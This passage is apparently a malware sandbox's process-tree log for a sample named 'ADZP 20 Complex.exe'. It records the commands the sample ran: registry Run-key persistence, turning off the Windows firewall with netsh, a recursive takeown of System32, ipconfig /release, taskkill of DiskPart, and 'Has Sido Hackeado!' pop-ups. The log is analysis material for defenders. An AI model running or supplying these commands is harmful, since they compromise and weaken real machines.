        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
        5⤵
        
        PID:6852
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\ErrorCritico.vbs"
        5⤵
        
        PID:6936
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
        5⤵
        
        PID:6040
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\ErrorCritico.vbs"
        5⤵
        
        PID:7192
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
        5⤵
        
        PID:7268
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\ErrorCritico.vbs"
        5⤵
        
        PID:7304
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
        5⤵
        
        PID:7344
    - - C:\Windows\system32\msg.exe
        
        msg * Virus Detectado
        5⤵
        
        PID:7352
    - - C:\Windows\system32\msg.exe
        
        msg * Virus Detectado
        5⤵
        
        PID:7424
    - - C:\Windows\system32\msg.exe
        
        msg * Has Sido Hackeado!
        5⤵
        
        PID:7516
    - - C:\Users\Admin\Desktop\ADZP 20 Complex.exe
        
        "C:\Users\Admin\Desktop\ADZP 20 Complex.exe"
        5⤵
        Executes dropped EXE
        
        PID:7672
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\5892.tmp\5893.tmp\5894.bat "C:\Users\Admin\Desktop\ADZP 20 Complex.exe""
        6⤵
        
        PID:7828
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        7⤵
        
        PID:5860
        
        C:\Windows\system32\reg.exe
        
        REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Twain_20.cmd"
        8⤵
        
        PID:4440
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall set publicprofile state off
        7⤵
        Modifies Windows Firewall
        
        PID:1868
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        7⤵
        
        PID:4040
        
        C:\Windows\system32\reg.exe
        
        REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Twain_20.cmd"
        8⤵
        
        PID:7244
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Informacion.vbs"
        7⤵
        
        PID:7660
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        7⤵
        
        PID:10192
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:8468
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        8⤵
        Modifies file permissions
        
        PID:2516
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
        7⤵
        
        PID:4624
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
        7⤵
        
        PID:3836
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        7⤵
        Gathers network information
        
        PID:9528
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /im DiskPart /f
        7⤵
        Kills process with taskkill
        
        PID:10868
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h *.*
        7⤵
        Views/modifies file attributes
        
        PID:5252
        
        C:\Windows\system32\msg.exe
        
        msg * Virus Detectado
        7⤵
        
        PID:7656
        
        C:\Windows\system32\msg.exe
        
        msg * Virus Detectado
        7⤵
        
        PID:10060
        
        C:\Windows\system32\msg.exe
        
        msg * Has Sido Hackeado!
        7⤵
        
        PID:4844
        
        C:\Users\Admin\Desktop\ADZP 20 Complex.exe
        
        "C:\Users\Admin\Desktop\ADZP 20 Complex.exe"
        7⤵
        
        PID:7056
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\953A.tmp\953B.tmp\953C.bat "C:\Users\Admin\Desktop\ADZP 20 Complex.exe""
        8⤵
        
        PID:9804
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        9⤵
        
        PID:13220
        
        C:\Windows\System32\Twain_20.dll
        
        C:\Windows\System32\Twain_20.dll
        10⤵
        
        PID:10792
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall set publicprofile state off
        9⤵
        Modifies Windows Firewall
        
        PID:12628
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        9⤵
        
        PID:7808
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Informacion.vbs"
        9⤵
        
        PID:5248
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        9⤵
        
        PID:13192
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
        9⤵
        
        PID:10920
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
        9⤵
        
        PID:4348
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        9⤵
        Gathers network information
        
        PID:12420
        
        C:\Windows\system32\notepad.exe
        
        notepad
        7⤵
        
        PID:9324
        
        C:\Windows\system32\calc.exe
        
        calc
        7⤵
        
        PID:8244
        
        C:\Windows\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:6008
        
        C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        7⤵
        
        PID:9464
        
        C:\Users\Admin\Desktop\ADZP 20 Complex.exe
        
        "C:\Users\Admin\Desktop\ADZP 20 Complex.exe"
        7⤵
        
        PID:7820
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\9191.tmp\9192.tmp\9193.bat "C:\Users\Admin\Desktop\ADZP 20 Complex.exe""
        8⤵
        
        PID:5140
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        9⤵
        
        PID:11060
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall set publicprofile state off
        9⤵
        Modifies Windows Firewall
        
        PID:10812
        
        C:\Windows\system32\notepad.exe
        
        notepad
        7⤵
        
        PID:1428
        
        C:\Windows\system32\calc.exe
        
        calc
        7⤵
        
        PID:10048
        
        C:\Windows\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:7164
        
        C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        7⤵
        
        PID:6576
        
        C:\Users\Admin\Desktop\ADZP 20 Complex.exe
        
        "C:\Users\Admin\Desktop\ADZP 20 Complex.exe"
        7⤵
        
        PID:6044
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\8EC2.tmp\8EC3.tmp\8EC4.bat "C:\Users\Admin\Desktop\ADZP 20 Complex.exe""
        8⤵
        
        PID:10296
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        9⤵
        
        PID:11352
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall set publicprofile state off
        9⤵
        Modifies Windows Firewall
        
        PID:11196
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        9⤵
        
        PID:6968
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Informacion.vbs"
        9⤵
        
        PID:12040
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        9⤵
        
        PID:13304
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
        9⤵
        
        PID:10860
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
        9⤵
        
        PID:11500
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        9⤵
        Gathers network information
        
        PID:5252
        
        C:\Windows\system32\notepad.exe
        
        notepad
        7⤵
        
        PID:11176
        
        C:\Windows\system32\calc.exe
        
        calc
        7⤵
        
        PID:9252
        
        C:\Windows\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:10232
        
        C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        7⤵
        
        PID:10152
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\ErrorCritico.vbs"
        7⤵
        
        PID:9160
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
        7⤵
        
        PID:2972
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\ErrorCritico.vbs"
        7⤵
        
        PID:1396
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
        7⤵
        
        PID:2832
    - - C:\Windows\system32\notepad.exe
        
        notepad
        5⤵
        
        PID:7756
    - - C:\Windows\system32\calc.exe
        
        calc
        5⤵
        Modifies registry class
        
        PID:7836
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        Modifies registry class
        
        PID:7888
    - - C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        5⤵
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:7964
    - - C:\Users\Admin\Desktop\ADZP 20 Complex.exe
        
        "C:\Users\Admin\Desktop\ADZP 20 Complex.exe"
        5⤵
        Executes dropped EXE
        
        PID:8032
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\63CD.tmp\63CE.tmp\63CF.bat "C:\Users\Admin\Desktop\ADZP 20 Complex.exe""
        6⤵
        
        PID:7240
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        7⤵
        
        PID:9264
        
        C:\Windows\system32\reg.exe
        
        REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Twain_20.cmd"
        8⤵
        
        PID:7324
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall set publicprofile state off
        7⤵
        Modifies Windows Firewall
        
        PID:5524
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        7⤵
        
        PID:8416
        
        C:\Windows\system32\reg.exe
        
        REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Twain_20.cmd"
        8⤵
        
        PID:7072
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Informacion.vbs"
        7⤵
        
        PID:9384
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        7⤵
        
        PID:7344
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        8⤵
        Modifies file permissions
        
        PID:10108
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
        7⤵
        
        PID:5712
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
        7⤵
        
        PID:8528
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        7⤵
        Gathers network information
        
        PID:6876
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /im DiskPart /f
        7⤵
        Kills process with taskkill
        
        PID:10884
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h *.*
        7⤵
        Views/modifies file attributes
        
        PID:8612
        
        C:\Windows\system32\msg.exe
        
        msg * Virus Detectado
        7⤵
        
        PID:10988
        
        C:\Windows\system32\msg.exe
        
        msg * Virus Detectado
        7⤵
        
        PID:11020
        
        C:\Windows\system32\msg.exe
        
        msg * Has Sido Hackeado!
        7⤵
        
        PID:10512
        
        C:\Users\Admin\Desktop\ADZP 20 Complex.exe
        
        "C:\Users\Admin\Desktop\ADZP 20 Complex.exe"
        7⤵
        
        PID:8180
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\96D1.tmp\96D2.tmp\96D3.bat "C:\Users\Admin\Desktop\ADZP 20 Complex.exe""
        8⤵
        
        PID:9508
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        9⤵
        
        PID:8064
        
        C:\Windows\System32\Twain_20.dll
        
        C:\Windows\System32\Twain_20.dll
        10⤵
        
        PID:7792
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\43A1.tmp\43B2.tmp\43B3.bat C:\Windows\System32\Twain_20.dll"
        11⤵
        
        PID:5672
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        12⤵
        
        PID:12016
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall set publicprofile state off
        12⤵
        Modifies Windows Firewall
        
        PID:11364
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Informacion.vbs"
        12⤵
        
        PID:1384
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        12⤵
        
        PID:13056
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
        12⤵
        
        PID:8068
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
        12⤵
        
        PID:11812
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall set publicprofile state off
        9⤵
        Modifies Windows Firewall
        
        PID:6352
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        9⤵
        
        PID:2620
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Informacion.vbs"
        9⤵
        
        PID:12544
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        9⤵
        
        PID:7036
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
        9⤵
        
        PID:10088
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
        9⤵
        
        PID:2304
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        9⤵
        Gathers network information
        
        PID:6868
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h *.*
        9⤵
        Views/modifies file attributes
        
        PID:9168
        
        C:\Windows\system32\notepad.exe
        
        notepad
        7⤵
        
        PID:10588
        
        C:\Windows\system32\calc.exe
        
        calc
        7⤵
        
        PID:4392
        
        C:\Windows\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:9272
        
        C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        7⤵
        
        PID:9448
        
        C:\Users\Admin\Desktop\ADZP 20 Complex.exe
        
        "C:\Users\Admin\Desktop\ADZP 20 Complex.exe"
        7⤵
        
        PID:9592
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\4C46.tmp\4C56.tmp\4C57.bat "C:\Users\Admin\Desktop\ADZP 20 Complex.exe""
        8⤵
        
        PID:11792
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall set publicprofile state off
        9⤵
        Modifies Windows Firewall
        
        PID:12444
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Informacion.vbs"
        9⤵
        
        PID:12372
        
        C:\Windows\system32\notepad.exe
        
        notepad
        7⤵
        
        PID:9644
        
        C:\Windows\system32\calc.exe
        
        calc
        7⤵
        
        PID:11472
        
        C:\Windows\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:11704
        
        C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        7⤵
        
        PID:8788
        
        C:\Users\Admin\Desktop\ADZP 20 Complex.exe
        
        "C:\Users\Admin\Desktop\ADZP 20 Complex.exe"
        7⤵
        
        PID:10976
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\351.tmp\40E.tmp\42E.bat "C:\Users\Admin\Desktop\ADZP 20 Complex.exe""
        8⤵
        
        PID:8800
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        9⤵
        
        PID:9780
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall set publicprofile state off
        9⤵
        Modifies Windows Firewall
        
        PID:12648
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Informacion.vbs"
        9⤵
        
        PID:8720
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
        9⤵
        
        PID:10104
        
        C:\Windows\system32\notepad.exe
        
        notepad
        7⤵
        
        PID:7052
        
        C:\Windows\system32\calc.exe
        
        calc
        7⤵
        
        PID:7044
        
        C:\Windows\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:6880
        
        C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        7⤵
        
        PID:12364
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
        7⤵
        
        PID:12920
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\ErrorCritico.vbs"
        7⤵
        
        PID:9348
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
        7⤵
        
        PID:12856
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\ErrorCritico.vbs"
        7⤵
        
        PID:6636
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
        7⤵
        
        PID:12036
    - - C:\Windows\system32\notepad.exe
        
        notepad
        5⤵
        
        PID:8144
    - - C:\Windows\system32\calc.exe
        
        calc
        5⤵
        Modifies registry class
        
        PID:7340
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        Modifies registry class
        
        PID:6672
    - - C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        5⤵
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:3956
    - - C:\Users\Admin\Desktop\ADZP 20 Complex.exe
        
        "C:\Users\Admin\Desktop\ADZP 20 Complex.exe"
        5⤵
        Executes dropped EXE
        
        PID:8176
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\7B8C.tmp\7B9C.tmp\7B9D.bat "C:\Users\Admin\Desktop\ADZP 20 Complex.exe""
        6⤵
        
        PID:4584
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        7⤵
        
        PID:5316
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall set publicprofile state off
        7⤵
        Modifies Windows Firewall
        
        PID:7448
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        7⤵
        
        PID:7284
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Informacion.vbs"
        7⤵
        
        PID:9288
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        7⤵
        
        PID:9308
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        8⤵
        Modifies file permissions
        
        PID:9868
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
        7⤵
        
        PID:9824
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
        7⤵
        
        PID:10036
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        7⤵
        Gathers network information
        
        PID:10180
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /im DiskPart /f
        7⤵
        Kills process with taskkill
        
        PID:3336
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h *.*
        7⤵
        Views/modifies file attributes
        
        PID:10028
        
        C:\Windows\system32\msg.exe
        
        msg * Virus Detectado
        7⤵
        
        PID:8380
        
        C:\Windows\system32\msg.exe
        
        msg * Virus Detectado
        7⤵
        
        PID:6276
        
        C:\Windows\system32\msg.exe
        
        msg * Has Sido Hackeado!
        7⤵
        
        PID:2536
        
        C:\Users\Admin\Desktop\ADZP 20 Complex.exe
        
        "C:\Users\Admin\Desktop\ADZP 20 Complex.exe"
        7⤵
        
        PID:9476
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\37BE.tmp\37BF.tmp\37C0.bat "C:\Users\Admin\Desktop\ADZP 20 Complex.exe""
        8⤵
        
        PID:10264
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        9⤵
        
        PID:7048
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall set publicprofile state off
        9⤵
        Modifies Windows Firewall
        
        PID:8332
        
        C:\Windows\system32\notepad.exe
        
        notepad
        7⤵
        
        PID:10180
        
        C:\Windows\system32\calc.exe
        
        calc
        7⤵
        
        PID:6316
        
        C:\Windows\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:9400
        
        C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        7⤵
        
        PID:7984
        
        C:\Users\Admin\Desktop\ADZP 20 Complex.exe
        
        "C:\Users\Admin\Desktop\ADZP 20 Complex.exe"
        7⤵
        
        PID:4636
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\37DD.tmp\37DE.tmp\37DF.bat "C:\Users\Admin\Desktop\ADZP 20 Complex.exe""
        8⤵
        
        PID:10276
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        9⤵
        
        PID:12436
        
        C:\Windows\system32\notepad.exe
        
        notepad
        7⤵
        
        PID:6504
        
        C:\Windows\system32\calc.exe
        
        calc
        7⤵
        
        PID:7444
        
        C:\Windows\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:4028
        
        C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        7⤵
        
        PID:6804
        
        C:\Users\Admin\Desktop\ADZP 20 Complex.exe
        
        "C:\Users\Admin\Desktop\ADZP 20 Complex.exe"
        7⤵
        
        PID:9408
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\3C13.tmp\3C14.tmp\3C15.bat "C:\Users\Admin\Desktop\ADZP 20 Complex.exe""
        8⤵
        
        PID:10328
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        9⤵
        
        PID:9192
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall set publicprofile state off
        9⤵
        Modifies Windows Firewall
        
        PID:9736
        
        C:\Windows\system32\notepad.exe
        
        notepad
        7⤵
        
        PID:5924
        
        C:\Windows\system32\calc.exe
        
        calc
        7⤵
        
        PID:7152
        
        C:\Windows\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:10312
        
        C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        7⤵
        
        PID:10460
    - - C:\Windows\system32\notepad.exe
        
        notepad
        5⤵
        
        PID:6208
    - - C:\Windows\system32\calc.exe
        
        calc
        5⤵
        Modifies registry class
        
        PID:3292
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        Modifies registry class
        
        PID:2692
    - - C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        5⤵
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:7980
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\ErrorCritico.vbs"
        5⤵
        
        PID:8236
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
        5⤵
        
        PID:8228
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\ErrorCritico.vbs"
        5⤵
        
        PID:5804
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
        5⤵
        
        PID:4072
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\ErrorCritico.vbs"
        5⤵
        
        PID:7860
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
        5⤵
        
        PID:9416
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:492
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    - Modifies registry class
    PID:5136
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    - Modifies registry class
    PID:1412
- - C:\Windows\system32\mspaint.exe
    mspaint.exe
    3⤵
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:5112
- - C:\Users\Admin\Desktop\ADZP 20 Complex.exe
    "C:\Users\Admin\Desktop\ADZP 20 Complex.exe"
    3⤵
    - Executes dropped EXE
    PID:4284
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\A2C0.tmp\A2D0.tmp\A2D1.bat "C:\Users\Admin\Desktop\ADZP 20 Complex.exe""
      4⤵
      Checks computer location settings
      Drops autorun.inf file
      Drops file in System32 directory
      Modifies registry class
      PID:3108
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        5⤵
        
        PID:5756
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        5⤵
        
        PID:2128
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Informacion.vbs"
        5⤵
        
        PID:6708
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        5⤵
        
        PID:6732
      - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        6⤵
        Modifies file permissions
        
        PID:6940
    - - C:\Windows\system32\reg.exe
        
        reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
        5⤵
        
        PID:6756
    - - C:\Windows\system32\reg.exe
        
        reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
        5⤵
        
        PID:6920
    - - C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        5⤵
        Gathers network information
        
        PID:1768
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /im DiskPart /f
        5⤵
        Kills process with taskkill
        
        PID:6744
    - - C:\Windows\system32\attrib.exe
        
